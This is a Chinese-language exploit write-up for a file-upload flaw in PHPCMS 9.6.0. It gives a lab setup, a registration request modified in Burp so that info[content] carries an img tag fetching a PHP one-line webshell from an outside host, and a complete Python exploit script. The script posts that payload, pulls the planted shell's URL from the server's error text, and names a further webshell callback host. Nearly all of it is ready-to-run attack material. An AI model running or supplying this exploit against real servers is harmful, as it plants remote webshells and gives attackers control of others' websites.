0x01 漏洞環(huán)境
攻擊機(jī):Windows10:192.168.10.21。
服務(wù)機(jī):Kali Linux 2017.01 amd 64:192.168.10.68(提供 web shell 文件下載)。
靶機(jī):Redhat Enterprise 7.3 x64:192.168.10.44(靶機(jī)運(yùn)行 PHPCMS 9.6.0 Web 服務(wù))。
0x02 利用過程
Kali Linux Python 命令python -mSimpleHTTPServer 80 開啟簡易 Web 服務(wù)器,提供 shell(PHP 一句話木馬)資源下載。

Kali 搭建 Shell 資源下載服務(wù)器.png
打開 PHPCMS v9.6 注冊(cè)頁面:
http://192.168.10.44/index.php?m=member&c=index&a=register&siteid=1,進(jìn)行注冊(cè)操作并利用 Burp Suite 進(jìn)行截取數(shù)據(jù)包。修改其中的參數(shù):modelid,info,dosubmit。詳細(xì)修改參數(shù)如下:modelid=11 info[content]=<img src=http://192.168.10.68/shell.txt?.php#.jpg> dosubmit=1

提交 POST 數(shù)據(jù)包獲取 Shell
提交數(shù)據(jù)包后將獲得 Web Shell 的 URL 路徑:獲得shell:
http://192.168.10.44/uploadfile/2017/0511/20170511074521592.php。
0x03 Exp
# -*- coding:utf-8 -*-
'''
----------------------
Author : Akkuman
Blog : hacktech.cn
----------------------
'''
import requests
import sys
from random import Random
chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'
def main():
if len(sys.argv) < 2:
print("[*]Usage : Python 1.py http://xxx.com")
sys.exit()
host = sys.argv[1]
url = host + "/index.php?m=member&c=index&a=register&siteid=1"
data = { # 構(gòu)建POST數(shù)據(jù)包
"siteid": "1",
"modelid": "1",
"username": "xianjian",
"password": "123456",
"email": "xianjian@qq.com",
# 如果想使用回調(diào)的可以使用http://file.codecat.one/oneword.txt,一句話地址為.php后面加上e=YXNzZXJ0
"info[content]": "<img src=http://203.67.242.54/any.txt?.php#.jpg>",
"dosubmit": "1",
"protocol": "",
}
try:
rand_name = chars[Random().randint(0, len(chars) - 1)]
data["username"] = "xianjian_%s" % rand_name
data["email"] = "xianjian_%s@qq.com" % rand_name
htmlContent = requests.post(url, data=data)
successUrl = ""
if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
print("[*]Shell : %s" % successUrl)
if successUrl == "":
print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
except:
print("Request Error")
if __name__ == '__main__':
main()